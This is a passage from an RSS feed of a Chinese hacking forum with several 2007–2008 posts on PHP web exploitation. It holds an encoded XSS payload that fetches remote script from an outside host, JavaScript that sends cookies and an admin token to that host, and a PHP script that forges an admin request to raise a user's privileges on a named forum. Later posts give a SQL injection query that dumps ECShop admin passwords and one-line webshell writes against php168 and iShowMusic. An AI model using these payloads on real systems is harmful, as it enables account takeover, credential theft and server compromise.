c\31\31\34\2c\31\30\32\2c\34\36\2c\31\30\36\2c\31\31\35\2c\33\39\2c\35\39\2c\31\30\30\2c\31\31\31\2c\39\39\2c\31\31\37\2c\31\30\39\2c\31\30\31\2c\31\31\30\2c\31\31\36\2c\34\36\2c\39\38\2c\31\31\31\2c\31\30\30\2c\31\32\31\2c\34\36\2c\39\37\2c\31\31\32\2c\31\31\32\2c\31\30\31\2c\31\31\30\2c\31\30\30\2c\36\37\2c\31\30\34\2c\31\30\35\2c\31\30\38\2c\31\30\30\2c\34\30\2c\31\31\35\2c\34\31\2c\35\39\29\29\3b\77\69\6e\64\6f\77\2e\78\3d\27\70\27\3b\7d\29]</code></pre></div><p>编码前的代码如下:</p><div class="codebox"><pre><code>[font=expression(if(window.x!=&#039;p&#039;){eval(String.fromCharCode(115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,119,111,108,118,101,122,46,111,114,103,47,99,115,114,102,46,106,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));window.x=&#039;p&#039;;})]</code></pre></div><p>String.fromCharCode()里的内容为如下代码的10进制编码:</p><div class="codebox"><pre><code>s=document.createElement(&#039;script&#039;);s.src=&#039;http://www.wolvez.org/csrf.js&#039;;document.body.appendChild(s);</code></pre></div><p>这里<a href="http://www.wolvez.org/csrf.js">http://www.wolvez.org/csrf.js</a>就是远程调用的恶意javascript代码:</p><div class="codebox"><pre><code>function puret_t() {
        var xmlHttp;
        // IE...
        if (window.ActiveXObject) {
                var XmlHttpVersions = new Array(&#039;MSXML2.XMLHTTP.6.0&#039;,
                                                &#039;MSXML2.XMLHTTP.5.0&#039;,
                                                &#039;MSXML2.XMLHTTP.4.0&#039;,
                                                &#039;MSXML2.XMLHTTP.3.0&#039;,
                                                &#039;MSXML2.XMLHTTP&#039;,
                                                &#039;Microsoft.XMLHTTP&#039;);
                for (var i = 0; i &lt; XmlHttpVersions.length &amp;&amp; !xmlHttp; i ++) {
                        try {
                                xmlHttp = new ActiveXObject(XmlHttpVersions);
                        } catch (e) {
                                try {
                                        xmlHttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
                                } catch (e) {
                                        xmlHttp = false;
                                }
                        }
                }
        // Non-IE...
        } else {
                xmlHttp = false;
        }
        
        if (!xmlHttp) {
                return false;
        }
        
        xmlHttp.open(&quot;GET&quot;, &quot;http://www.puretot.com/phpwind/admin.php?adminjob=setuser&quot;, false);
        xmlHttp.send();
        var str = xmlHttp.responseText;
        var reg = /\&lt;form action=\&quot;\/phpwind\/admin.php\?adminjob=setuser&amp;verify=(\w+&amp;)\&quot;/i;
        var arr = reg.exec(str);

        var url = &quot;http://www.wolvez.org/puret_t.php?verify=&quot;+arr[1]+&quot;cookie=&quot;+document.cookie;
        var image = new Image();
        image.src = url;
}
puret_t();</code></pre></div><p>利用XMLHttp获取verify,由于expression属于IE独有的属性,所以这段代码基本没对非IE核心的浏览器做什么处理.<br />这里<a href="http://www.puretot.com/phpwind/">http://www.puretot.com/phpwind/</a>就是要攻击的目标论坛,而puret_t.php中的代码如下:</p><div class="codebox"><pre><code>&lt;?php

error_reporting(7);

if (get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
                return is_array($array) ? array_map(&#039;stripslashes_array&#039;, $array) : stripslashes($array);
        }
        $_GET = stripslashes_array($_GET);
}

$verify = isset($_GET[&#039;verify&#039;]) ? (preg_match(&#039;#^[a-z0-9]{8}$#iD&#039;, $_GET[&#039;verify&#039;]) ? $_GET[&#039;verify&#039;] : NULL) : NULL;
$cookie = isset($_GET[&#039;cookie&#039;]) ? $_GET[&#039;cookie&#039;] : NULL;

$host = &#039;www.puretot.com&#039;;
$path = &#039;/phpwind/&#039;;
$agent = $_SERVER[&#039;HTTP_USER_AGENT&#039;];
$post = &#039;action=edutgroup&amp;gid%5B2%5D=3&#039;;

if ($verify &amp;&amp; $cookie)
        send($verify, $cookie);

function send($verify, $cookie)
{
        global $host, $path, $agent, $post;

        $message = &quot;POST &quot;.$path.&quot;admin.php?adminjob=setuser&amp;verify=$verify  HTTP/1.1\r\n&quot;;
        $message .= &quot;Accept: */*\r\n&quot;;
        $message .= &quot;Referer: http://&quot;.$host.$path.&quot;admin.php?adminjob=setuser&amp;verify=$verify\r\n&quot;;
        $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
        $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
        $message .= &quot;User-Agent: $agent\r\n&quot;;
        $message .= &quot;Host: $host\r\n&quot;;
        $message .= &quot;Content-Length: &quot;.strlen($post).&quot;\r\n&quot;;
        $message .= &quot;Connection: Close\r\n&quot;;
        $message .= &quot;Cookie: $cookie\r\n\r\n&quot;;
        $message .= $post;
        
        $fp = fsockopen($host, 80);
        fputs($fp, $message);

}

?&gt;</code></pre></div><div class="codebox"><pre><code>$post = &#039;action=edutgroup&amp;gid%5B2%5D=3&#039;;</code></pre></div><p>这句中gid[2]是要提升权限的用户uid,这里之所以用php伪造http提交,是考虑到referer的问题(貌似pw6验证的很严格?),如果你有更好的解决方法,还望赐教:)</p><p>整个利用分析就是这些了.思路上没什么新东西,代码也很简单,不过由于这是本人第一次深入研究xss的利用,感觉还是有很多收获的.如果浪费了某些xss牛的时间,还请见谅 :p</p><p>另附上我转换编码时用的两段php代码:<br />i)字符串转换为16进制</p><div class="codebox"><pre><code>&lt;?php

$a = &#039;&#039;;     // 要转换的字符串
$l = strlen($a);
$b = &#039;&#039;;
for ($i = 0; $i &lt; $l; $i ++) {
        $b .= &#039;\\&#039;.bin2hex($a{$i});
}
echo $b;

?&gt;</code></pre></div><p>ii)字符串转换为10进制</p><div class="codebox"><pre><code>&lt;?php

$a = &#039;&#039;;     // 要转换的字符串
$l = strlen($a);
$b = &#039;&#039;;
for ($i = 0; $i &lt; $l; $i ++) {
        if ($i == 0)
                $b .= hexdec(bin2hex($a{$i}));
        else 
                $b .= &#039;,&#039;.hexdec(bin2hex($a{$i}));
}
echo $b;

?&gt;</code></pre></div><p>参考:<br />1.Bypass Preventing CSRF: <a href="http://www.xfocus.net/articles/200801/964.html">http://www.xfocus.net/articles/200801/964.html</a><br />2.XMLHttp中文参考: <a href="http://suwei.nanshapo.com/tech/webdev/ajax/xmlhttp/">http://suwei.nanshapo.com/tech/webdev/ajax/xmlhttp/</a></p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Mon, 03 Nov 2008 11:36:51 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/24/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[include()本地文件包含漏洞随想]]></title>
			<link>http://bbs.wolvez.org/topic/23/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2008-2-22</p><p>本地文件包含漏洞是PHP中比较常见的漏洞，像下面的代码：<br /></p><div class="codebox"><pre><code>include(&#039;inc/&#039;.$_GET[&#039;a&#039;].&#039;/global.php&#039;);</code></pre></div><p>这是个典型的文件包含漏洞，但要想包含任意文件的话需要引入NULL字符截断后面的&#039;/global.php&#039;，但在gpc为on的情况下null是会被转义的，这往往成了本地文件包含漏洞利用的束缚[在一些特定的情况下也可以用其他方法截断后面的代码，见：<a href="http://bbs.wolvez.org/viewtopic.php?id=22">http://bbs.wolvez.org/viewtopic.php?id=22</a>]</p><p>其实文件包含分为include()和 require()两种，先看下手册中对这两种方式区别的描述：</p><p><em>这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样，脚本会继续运行</em></p><p>手册中对两种方式的区别说的很清楚，而include()的这种对待包含失败的处理方式有时会给我们在利用本地文件包含漏洞上提供一些其他的思路，看下下面的代码片断：<br /></p><div class="codebox"><pre><code>...
if (!empty($_COOKIE[&quot;userlanguage&quot;]) &amp;&amp; file_exists(&quot;lang/&quot; . basename($_COOKIE[&quot;userlanguage&quot;]) . &quot;/global.php&quot;)) $language = $_COOKIE[&quot;userlanguage&quot;];
...
include_once(&quot;lang/$language/index.php&quot;);
...
$template = preg_replace(&quot;/\{lang\s+(.+?)\}/ies&quot;, &quot;languagevar(&#039;\\1&#039;)&quot;, $template);
...
fwrite($fp, $template);
...
function languagevar($var) {
    if(isset($GLOBALS[&#039;lang&#039;][$var])) {
        return $GLOBALS[&#039;lang&#039;][$var];
    } else {
        return &quot;!$var!&quot;;
    }
}
...</code></pre></div><p>简单说下代码的处理流程，程序根据浏览者选择的语言把相应的$lang写进模板缓存，当浏览者访问时直接访问模板缓存。<br />而这里可以通过$_COOKIE[&quot;userlanguage&quot;]触发本地文件包含漏洞，这样提交：<br /></p><div class="codebox"><pre><code>../../[file][null char]/eng</code></pre></div><p>通过basename()返回eng，而/lang/eng/global.php是存在的，绕过了file_exists()的检查，成功触发了本地文件包含漏洞，但这里需要GPC为OFF，因为要引入NULL字符截断后面的字符串。貌似利用很困难，但我们可以转换下思路，这里include_once()正确包含的话会包含语言文件，语言文件里面定义了$lang，这里是关键了，我们只要随便提交$_COOKIE[&quot;userlanguage&quot;]，使include_once()无法正确包含，而前面提到include()即使包含失败，脚本依旧会向下执行，这样没有包含语言文件，$lang就是没有初始化的了，那么在register_globals为on或用了extract()的情况下，我们就可以自行提交$lang了，然后通过fwrite()写入了缓存文件:)</p><p>其实这个思路就是把include()本地文件包含漏洞转化为其他漏洞，是个典型的二次攻击:)</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Mon, 03 Nov 2008 11:33:06 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/23/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[关于PHP的本地包含]]></title>
			<link>http://bbs.wolvez.org/topic/22/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2007-12-17</p><p>利用本地包含时常常需要用%00来截断后面的字符串，但在GPC为ON时%00是会被转义的，那么还有其他方法么？</p><p>其实以前就有人提到过用一定数量的/突破操作系统对文件名的长度限制来截断后面的字符串，详见：<a href="http://cloie.it580.com/?p=51">http://cloie.it580.com/?p=51</a></p><p>文里提到只可以在WIN下利用，其实部分Linux主机下也可以，只是/的数量要更多些[要使文件路径名长度大于4096字节]，看看下面的代码片断：</p><div class="codebox"><pre><code>&lt;?php
$a=&#039;&#039;;
for($i=0;$i&lt;=4071;$i++) {
    $a .= &#039;/&#039;;
}
$a = &#039;test.txt&#039;.$a;                   //完整的路径为/var/www/test/test.txt
require_once($a.&#039;.php&#039;);
?&gt;</code></pre></div><p>在Linux环境下测试，你会发现&#039;.php&#039;被截断了，成功的包含了test.txt:)</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Mon, 03 Nov 2008 11:32:37 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/22/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[一段代码的YY]]></title>
			<link>http://bbs.wolvez.org/topic/21/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2007-10-19</p><div class="codebox"><pre><code>$magic_quotes_gpc = get_magic_quotes_gpc();
extract(daddslashes($_COOKIE));
extract(daddslashes($_POST));
extract(daddslashes($_GET));
if(!$magic_quotes_gpc) {
    $_FILES = daddslashes($_FILES);
}
......
function daddslashes($string, $force = 0) {
    if(!$GLOBALS[&#039;magic_quotes_gpc&#039;] || $force) {
        if(is_array($string)) {
            foreach($string as $key =&gt; $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = addslashes($string);
        }
    }
    return $string;
}</code></pre></div><p>这段代码摘自f2blog，这里有几个有意思的地方，先看extract()，这个函数在这里是为了模拟register_globals为on，而且默认第二个参数为EXTR_OVERWRITE，也就说即使变量已经初始化，依旧被覆盖:)，get_magic_quotes_gpc()则是判断magic_quotes_gpc的设置，为on的话返回1，反之返回0，并把值附给了$magic_quotes_gpc，在daddslashes()中如果$magic_quotes_gpc为0的话就对$string执行addslashes()。</p><p>呵呵，YY开始了。如果我们运气够好得到了一个gpc为off的主机，虽然程序依旧会对我们提交的变量处理，不过不要忘了extract()和EXTR_OVERWRITE这个参数，我们可以构造$magic_quotes_gpc覆盖程序中的$magic_quotes_gpc，比如修改cookie，添加个;magic_quotes_gpc=1，这样程序中$magic_quotes_gpc的值就被覆盖为1了，那么我们的POST和GET的变量就不受daddslashes()的影响了:)</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Mon, 03 Nov 2008 11:28:25 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/21/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[PHP中GPC绕过的一些总结]]></title>
			<link>http://bbs.wolvez.org/topic/20/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2007-10-18</p><p>PS：PHP中绕过GPC的情况有很多，本文仅仅是总结了一些比较常见的，而且写的很浅[因为本人水平有限]，欢迎大家积极拍砖:)</p><p>1.通过数据库（文本）中转</p><p>通过数据库中转：</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [注意存入数据库和select出的数据]<br />用户输入===&gt;gpc\addslashes()==========&gt;数据库=========&gt;执行sql语句\include\写入缓存文件<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;insert\update&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;select&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />这个问题是程序员容易忽略的，往往只是依靠gpc或addslashes函数对用户直接输入的数据进行处理，这样数据中的&#039;&quot;等都会被\转义，这样就能正确的执行sql语句，有效防止注入攻击了。但存入数据库的数据呢？在执行完sql语句存入数据库的是经过gpc处理前的原始数据，那么当程序再select出的就是受污染的数据了，如果把select出的数据再执行sql语句，那么就触发了sqlinj,如果直接写入缓存文件的话就有可能直接拿shell了:)</p><p>通过文本中转：</p><p>用户输入===&gt;gpc\addslashes()===&gt;写入文本文件===&gt;include===&gt;再次写入文本文件\执行sql语句</p><p>这个和通过数据库中转大致是一样的，对于写文件的操作如果处理不当是有可能被攻击者直接拿shell的，我们来看看php168的一个代码片段：</p><div class="codebox"><pre><code>function login_logs($username,$password) {
     global $timestamp,$onlineip;
     $logdb[]=&quot;$username\t$password\t$timestamp\t$onlineip&quot;;
     @include(PHP168_PATH.&quot;cache/adminlogin_logs.php&quot;);
     $writefile=&quot;&lt;?php \r\n&quot;;
     $jj=0;
     foreach($logdb AS $key=&gt;$value) {
         $jj++;
         $writefile.=&quot;\$logdb[]=\&quot;$value\&quot;;\r\n&quot;;
 
         if($jj&gt;200) {
             break;
         }
     }
     write_file(PHP168_PATH.&quot;cache/adminlogin_logs.php&quot;,$writefile);
 }</code></pre></div><p>php168在登录后台时如果输入的用户名或密码有误就会执行这个login_logs函数把登录者的信息记录在adminlogin_logs.php，如果用户输入的$username的数据是“&quot;;eval($_POST[cmd]); //”,前面的&quot;被闭合了，成功的写入了shell。但如果gpc为on的话，&quot;会被转义成\&quot;，无法利用了。但注意这里会先包含adminlogin_logs.php，并循环数组把数据再次写入adminlogin_logs.php，要知道，这里的\仅仅是转义字符，所以include后$logdb依旧是受污染的原数据，再次写入文件时&quot;就起作用了，成功写入了shell。</p><p>2.通过编码</p><p>UTF-7(+ACc-)===&gt;gpc\addslashes()===&gt;mb_convert_encoding()===&gt;UTF-8(&#039;)</p><p>这个问题的具体例子可见：<a href="http://superhei.blogbus.com/logs/4255503.html">http://superhei.blogbus.com/logs/4255503.html</a></p><p>0xbf27===&gt;gpc\addslashes()===&gt;0xbf5c27===&gt;执行sql语句[数据库编码支持多字节]</p><p>PHP里的函数大多是把字符串作为单字节进行处理的，那么如果数据库编码支持多字节呢，我们可以利用这个特性引入&#039;，而这里，gpc不但没起作用还帮了我们的忙:)<br />详见：<a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string">http://shiflett.org/blog/2006/jan/addsl &#133; ape-string</a></p><p>用户输入(经过urlencode\rawurlencode\base64_encode等函数处理)===&gt;gpc\addslashes()===&gt;urldecode\rawurldecode\base64_decode等函数===&gt;执行SQL语句\include</p><p>通过二次编码绕过gpc\addslashes，比如&#039;的URL编码二次编码%25%27。</p><p>3.一些函数的错误处理</p><p>看看下面的函数处理的字符串：</p><p>substr($_GET[&#039;a&#039;], 1);</p><p>假设输入的$_GET[&#039;a&#039;]为&#039;haha，经过gpc\addslashes()会变为\&#039;haha，再经过substr处理后又变回了&#039;haha.</p><p>处理字符串的函数有很多，往往程序员的一个不注意就能给我们带来很多有意思的利用:)</p><p>4.字符串和数组</p><p>看看下面的代码：</p><p>$a = $_GET[&#039;a&#039;];<br />echo $a[1];</p><p>输入$_GET[&#039;a&#039;]为&#039;haha，经过gpc\addslashes()会变为\&#039;haha，看看手册里对字符串的一段描述：</p><p><em>字符串中的字符可以通过在字符串之后用花括号指定所要字符从零开始的偏移量来访问和修改</em></p><p>这里也可以用方括号替代花括号[这是为了兼容较早的PHP版本，其实就是把字符串当数组处理的]，有了这个特性我们能做很多事啊，比如这里$a[1]的输出就是&#039;了:)，当然具体大的利用要看具体的代码。</p><p>5.PHP自身的一些缺陷</p><p>PHP5的GPC对$_SERVER的忽略<br />见剑心的《PHP5绕过缺陷》：<a href="http://www.xfocus.net/articles/200608/878.html">http://www.xfocus.net/articles/200608/878.html</a></p><p>PHP某些版本对%00的错误转义<br /><a href="http://www.securiteam.com/windowsntfocus/6M00K0AC1I.html">http://www.securiteam.com/windowsntfocu &#133; 0AC1I.html</a></p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Mon, 03 Nov 2008 11:24:46 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/20/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[从ecshop补丁里yy出来的一个有意思的注入]]></title>
			<link>http://bbs.wolvez.org/topic/15/new/posts/</link>
			<description><![CDATA[<p>某日无聊,在坛子乱逛。<br />发现ecshop发布了一个补丁比较有意思,什么说明都没有，这让我产生了好奇.决定看看这补丁是补了啥.</p><p>下载补丁和以前的没打补丁的ecshop<br />开始想先看看程序<br />没想到这文件超长..不一会就晕晕的</p><p>于是开始问问好友有什么可以比较两个文件有什么不同的工具.</p><p>一会jackal同学发了两个字母过来.</p><p>fc</p><p>靠..一问才知道原来这是windows自带文件比较工具.太孤陋寡闻了,哈哈。</p><p>fc的使用也很简单 fc /?看看</p><p>比较了一下user.php,在最后面,发现一个比较有意思的地方.复制内容到剪贴板代码:<br />else if ($action == &#039;order_query&#039;)<br />{<br />&nbsp; &nbsp; $order_sn = empty($_GET[&#039;order_sn&#039;]) ? &#039;&#039; : trim(substr($_GET[&#039;order_sn&#039;], 1));<br />&nbsp; &nbsp; include_once(ROOT_PATH .&#039;includes/cls_json.php&#039;);<br />&nbsp; &nbsp; $json = new JSON();</p><p>&nbsp; &nbsp; $result = array(&#039;error&#039;=&gt;0, &#039;message&#039;=&gt;&#039;&#039;, &#039;content&#039;=&gt;&#039;&#039;);</p><p>&nbsp; &nbsp; if(isset($_SESSION[&#039;last_order_query&#039;]))<br />&nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; if(time() - $_SESSION[&#039;last_order_query&#039;] &lt;= 10)<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $result[&#039;error&#039;] = 1;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $result[&#039;message&#039;] = $_LANG[&#039;order_query_toofast&#039;];<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die($json-&gt;encode($result));<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; }<br />&nbsp; &nbsp; $_SESSION[&#039;last_order_query&#039;] = time();</p><p>&nbsp; &nbsp; if (empty($order_sn))<br />&nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; $result[&#039;error&#039;] = 1;<br />&nbsp; &nbsp; &nbsp; &nbsp; $result[&#039;message&#039;] = $_LANG[&#039;invalid_order_sn&#039;];<br />&nbsp; &nbsp; &nbsp; &nbsp; die($json-&gt;encode($result));<br />&nbsp; &nbsp; }</p><p>&nbsp; &nbsp; $sql = &quot;SELECT order_id, order_status, shipping_status, pay_status, &quot;.<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot; shipping_time, shipping_id, invoice_no, user_id &quot;.<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot; FROM &quot; . $ecs-&gt;table(&#039;order_info&#039;).<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot; WHERE order_sn = &#039;$order_sn&#039; LIMIT 1&quot;;</p><p>&nbsp; &nbsp; $row = $db-&gt;getRow($sql);补丁里的代码是复制内容到剪贴板代码:<br />else if ($action == &#039;order_query&#039;)<br />{<br />&nbsp; &nbsp; $_GET[&#039;order_sn&#039;] = trim(substr($_GET[&#039;order_sn&#039;], 1));<br />&nbsp; &nbsp; $order_sn = empty($_GET[&#039;order_sn&#039;]) ? &#039;&#039; : addslashes($_GET[&#039;order_sn&#039;]);<br />&nbsp; &nbsp; include_once(ROOT_PATH .&#039;includes/cls_json.php&#039;);<br />&nbsp; &nbsp; $json = new JSON();</p><p>&nbsp; &nbsp; $result = array(&#039;error&#039;=&gt;0, &#039;message&#039;=&gt;&#039;&#039;, &#039;content&#039;=&gt;&#039;&#039;);</p><p>&nbsp; &nbsp; if(isset($_SESSION[&#039;last_order_query&#039;]))<br />&nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; if(time() - $_SESSION[&#039;last_order_query&#039;] &lt;= 10)<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $result[&#039;error&#039;] = 1;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $result[&#039;message&#039;] = $_LANG[&#039;order_query_toofast&#039;];<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die($json-&gt;encode($result));<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; }<br />&nbsp; &nbsp; $_SESSION[&#039;last_order_query&#039;] = time();</p><p>&nbsp; &nbsp; if (empty($order_sn))<br />&nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; $result[&#039;error&#039;] = 1;<br />&nbsp; &nbsp; &nbsp; &nbsp; $result[&#039;message&#039;] = $_LANG[&#039;invalid_order_sn&#039;];<br />&nbsp; &nbsp; &nbsp; &nbsp; die($json-&gt;encode($result));<br />&nbsp; &nbsp; }</p><p>&nbsp; &nbsp; $sql = &quot;SELECT order_id, order_status, shipping_status, pay_status, &quot;.<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot; shipping_time, shipping_id, invoice_no, user_id &quot;.<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot; FROM &quot; . $ecs-&gt;table(&#039;order_info&#039;).<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot; WHERE order_sn = &#039;$order_sn&#039; LIMIT 1&quot;;</p><p>&nbsp; &nbsp; $row = $db-&gt;getRow($sql);细心比较一下就发现不同在这里<br />$order_sn = empty($_GET[&#039;order_sn&#039;]) ? &#039;&#039; : trim(substr($_GET[&#039;order_sn&#039;], 1));<br />补丁后的<br />&nbsp; &nbsp; $_GET[&#039;order_sn&#039;] = trim(substr($_GET[&#039;order_sn&#039;], 1));<br />&nbsp; &nbsp; $order_sn = empty($_GET[&#039;order_sn&#039;]) ? &#039;&#039; : addslashes($_GET[&#039;order_sn&#039;]);<br />未补丁的$order_sn是取$_GET[&#039;order_sn&#039;]的第二位和第二位以后的字符<br />而补丁的$order_sn在截取以后又进行了addslashes处理</p><p>为什么补丁后的代码要进行addslashes的处理呢<br />原理可以在hxxp://www.wolvez.org/forum/thread-36-1-1.html看到,我也就不多说了,其实我这篇文章算是为Ryat的《PHP中GPC绕过的一些总结》提供了一个实例,哈哈.</p><p>可以看到$order_sn进入了数据库查询<br />这样就造成了一个sql注入漏洞.</p><p>利用语句我构造了一下,可以很方便的union爆出管理员账号密码来</p><p>user.php?act=order_query&amp;order_sn=&#039; union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*</p><p>呵呵..完毕拉</p><p>欢迎大家多来狼族论坛逛逛哦,相信我们独特的文化魅力会给你带来惊喜的.</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Wed, 22 Oct 2008 16:55:27 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/15/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[iShowMusic V1.2 直接写shell漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/14/new/posts/</link>
			<description><![CDATA[<p>By qiur3n</p><p><a href="http://www.wolvez.org">http://www.wolvez.org</a>/</p><p>2008-06-17</p><p>iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式，无需MYSQL数据库支持，同时程序代码与界面模板分离，方便你的音乐网站界面修改。<br />官方网站：http://www.ishowsky.cn</p><p>在error.php 12-26行复制内容到剪贴板代码:<br />elseif ($_POST[&#039;action&#039;]==&quot;save&quot;){<br />&nbsp; $cknumon &amp;&amp; GdConfirm($gdcode);<br />&nbsp; if(empty($id)) { <br />&nbsp; &nbsp; Showmsg(&quot;no&quot;,&quot;你还未选择歌曲呢!&quot;,&quot;返回重新填写&quot;,&quot;javascript:history.back(-1)&quot;); exit;}<br />&nbsp; elseif(empty($_POST[&#039;user&#039;])) {<br />&nbsp; &nbsp; Showmsg(&quot;no&quot;,&quot;你还没写名字呢!&quot;,&quot;返回重新填写&quot;,&quot;javascript:history.back(-1)&quot;); exit;}<br />&nbsp; else{<br />&nbsp; &nbsp;$user=safeconvert($user);<br />&nbsp; &nbsp;$line=&quot;$user|$songname|$id|$errmsg|$timestamp|\n&quot;;<br />&nbsp; &nbsp;$e=&quot;$datadir/error.php&quot;;<br />&nbsp; &nbsp;writetofile($e,$line,&quot;a+&quot;);<br />&nbsp; &nbsp;Showmsg(&quot;yes&quot;,&quot;提交成功，谢谢您的支持！&quot;,&quot;关闭本页&quot;,&quot;javascript:window.close()&quot;);&nbsp; exit;<br />&nbsp; }在global.php 27-34行复制内容到剪贴板代码:<br />foreach($_POST as $_key=&gt;$_value){<br />&nbsp; &nbsp; &nbsp; &nbsp; $_POST[$_key]=str_replace(array(&#039;|&#039;,&#039;$&#039;,&#039;..&#039;),array</p><p>(&#039;|&#039;,&#039;$&#039;,&#039;..&#039;),$_POST[$_key]);<br />&nbsp; &nbsp; &nbsp; &nbsp; !ereg(&quot;^\_&quot;,$_key) &amp;&amp; !$$_key &amp;&amp; $$_key=$_POST[$_key];<br />}<br />foreach($_GET as $_key=&gt;$_value){<br />&nbsp; &nbsp; &nbsp; &nbsp; $_GET[$_key]=str_replace(array(&#039;|&#039;,&#039;$&#039;,&#039;..&#039;),array</p><p>(&#039;|&#039;,&#039;$&#039;,&#039;..&#039;),$_GET[$_key]);<br />&nbsp; &nbsp; &nbsp; &nbsp; !ereg(&quot;^\_&quot;,$_key) &amp;&amp; !$$_key &amp;&amp; $$_key=$_GET[$_key];<br />}这段代码是允许在register_globals在off的情况下工作<br />程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.<br />导致失去了这段代码本来的作用.</p><p>function writetofile($file_name, $data, $method = &quot;w&quot;)<br />{<br />&nbsp; &nbsp; &nbsp; &nbsp; $filenum = fopen($file_name, $method);<br />&nbsp; &nbsp; &nbsp; &nbsp; flock($filenum, LOCK_EX);<br />&nbsp; &nbsp; &nbsp; &nbsp; $file_data = fwrite($filenum, $data);<br />&nbsp; &nbsp; &nbsp; &nbsp; fclose($filenum);<br />&nbsp; &nbsp; &nbsp; &nbsp; return $file_data;<br />}</p><p>这个函数也没有任何过滤就把$data写进去了,呵呵</p><p>hxxp://www.xxx.com/error.php?errid=1&amp;errtitle=&lt;?eval($_POST[wst]);?&gt;</p><p>然后提交一下你就能获得一个shell在</p><p>hxxp://www.xxx.com/data/error.php 